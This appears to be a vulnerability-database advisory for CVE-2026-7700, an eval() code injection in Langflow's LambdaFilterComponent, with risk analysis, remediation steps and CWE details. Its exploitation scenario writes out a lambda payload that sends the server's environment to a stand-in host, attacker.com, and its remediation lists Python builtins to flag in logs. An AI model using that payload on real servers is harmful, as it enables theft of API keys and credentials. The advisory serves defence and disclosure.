CVE-2026-7700: Langflow: eval() code injection → remote code execution
MEDIUMLangflow's LambdaFilterComponent passes user-supplied lambda expressions directly into Python's eval() without sanitization, allowing any authenticated user to execute arbitrary server-side code. The attack requires only low privileges and zero user interaction — any Langflow account holder in a shared or multi-tenant deployment can escalate to full server compromise. A detailed technical write-up with proof-of-concept code has been publicly released, and while the absolute EPSS score is low, this CVE ranks in the top 88th percentile for exploitation likelihood. Organizations running Langflow ≤1.8.4 should upgrade immediately; if patching is not immediately possible, disable the LambdaFilterComponent, restrict instance access to verified trusted users, and rotate all LLM API keys and secrets stored in the Langflow environment.
What is the risk?
CVSS 6.3 (Medium) materially understates real-world risk. Eval-based code injection is a script-kiddie-accessible primitive — no AI/ML expertise required — and a public PoC with detailed analysis is already circulating. The low privilege requirement means any authenticated user, including those on shared team instances or trial accounts, can trigger RCE. For organizations using Langflow as an LLM orchestration layer, server compromise exposes the full credential store (LLM API keys, DB passwords, integration tokens), RAG knowledge bases, conversation histories, and flow configurations — blast radius well beyond a typical medium-severity CVE.
How does the attack unfold?
What systems are affected?
| Package | Ecosystem | Vulnerable Range | Patched |
|---|---|---|---|
| Langflow | pip | — | No patch |
Do you use Langflow? You're affected.
How severe is it?
What is the attack surface?
What should I do?
5 steps-
Upgrade Langflow to 1.8.5 or later — this is the primary and preferred remediation.
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If immediate upgrade is blocked: disable or remove the LambdaFilterComponent from your deployment configuration and restrict Langflow access to known, trusted internal users only (not public-facing).
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Audit application logs for LambdaFilterComponent usage — flag any lambda expressions containing Python builtins like __import__, os, subprocess, socket, or exec.
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Immediately rotate all LLM API keys, database credentials, and secrets stored in the Langflow server environment — assume compromise if the instance was publicly accessible.
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Deploy WAF rules to block common eval injection payloads as a temporary compensating control while coordinating patching.
What does CISA's SSVC say?
Source: CISA Vulnrichment (SSVC v2.0). Decision based on the CISA Coordinator decision tree.
How is it classified?
Which compliance frameworks are affected?
This CVE is relevant to:
Frequently Asked Questions
What is CVE-2026-7700?
Langflow's LambdaFilterComponent passes user-supplied lambda expressions directly into Python's eval() without sanitization, allowing any authenticated user to execute arbitrary server-side code. The attack requires only low privileges and zero user interaction — any Langflow account holder in a shared or multi-tenant deployment can escalate to full server compromise. A detailed technical write-up with proof-of-concept code has been publicly released, and while the absolute EPSS score is low, this CVE ranks in the top 88th percentile for exploitation likelihood. Organizations running Langflow ≤1.8.4 should upgrade immediately; if patching is not immediately possible, disable the LambdaFilterComponent, restrict instance access to verified trusted users, and rotate all LLM API keys and secrets stored in the Langflow environment.
Is CVE-2026-7700 actively exploited?
No confirmed active exploitation of CVE-2026-7700 has been reported, but organizations should still patch proactively.
How to fix CVE-2026-7700?
1. Upgrade Langflow to 1.8.5 or later — this is the primary and preferred remediation. 2. If immediate upgrade is blocked: disable or remove the LambdaFilterComponent from your deployment configuration and restrict Langflow access to known, trusted internal users only (not public-facing). 3. Audit application logs for LambdaFilterComponent usage — flag any lambda expressions containing Python builtins like __import__, os, subprocess, socket, or exec. 4. Immediately rotate all LLM API keys, database credentials, and secrets stored in the Langflow server environment — assume compromise if the instance was publicly accessible. 5. Deploy WAF rules to block common eval injection payloads as a temporary compensating control while coordinating patching.
What systems are affected by CVE-2026-7700?
This vulnerability affects the following AI/ML architecture patterns: LLM orchestration pipelines, agent frameworks, no-code/low-code AI platforms, RAG pipelines.
What is the CVSS score for CVE-2026-7700?
CVE-2026-7700 has a CVSS v3.1 base score of 6.3 (MEDIUM). The EPSS exploitation probability is 0.29%.
What is the AI security impact?
Affected AI Architectures
MITRE ATLAS Techniques
AML.T0010.001 AI Software AML.T0049 Exploit Public-Facing Application AML.T0050 Command and Scripting Interpreter AML.T0055 Unsecured Credentials Compliance Controls Affected
What are the technical details?
Original Advisory
A weakness has been identified in langflow-ai langflow up to 1.8.4. This affects the function eval of the file src/lfx/src/lfx/components/llm_operations/lambda_filter.p of the component LambdaFilterComponent. Executing a manipulation can lead to code injection. The attack may be performed from remote. The exploit has been made available to the public and could be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way.
Exploitation Scenario
An attacker with a low-privilege Langflow account — obtained via trial signup, credential stuffing, or insider access — opens the flow builder and adds a LambdaFilterComponent. In the lambda expression field they inject: `lambda x: __import__('os').popen('curl attacker.com/exfil?d=$(env | base64 -w0)').read()`. When the flow is executed, eval() processes the expression and the payload runs server-side with the Langflow process permissions. Within seconds the attacker receives all environment variables including LLM API keys, database connection strings, and Clerk/Stripe secrets. From there they establish a reverse shell for persistence, pivot to connected data stores, and exfiltrate all RAG documents and user conversation histories — all from what appeared to be a routine workflow test.
Weaknesses (CWE)
CWE-74 Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')
Primary
CWE-94 Improper Control of Generation of Code ('Code Injection')
Primary
CWE-74 — Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection'): The product constructs all or part of a command, data structure, or record using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify how it is parsed or interpreted when it is sent to a downstream component.
- [Requirements] Programming languages and supporting technologies might be chosen which are not subject to these issues.
- [Implementation] Utilize an appropriate mix of allowlist and denylist parsing to filter control-plane syntax from all input.
Source: MITRE CWE corpus.
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L References
Timeline
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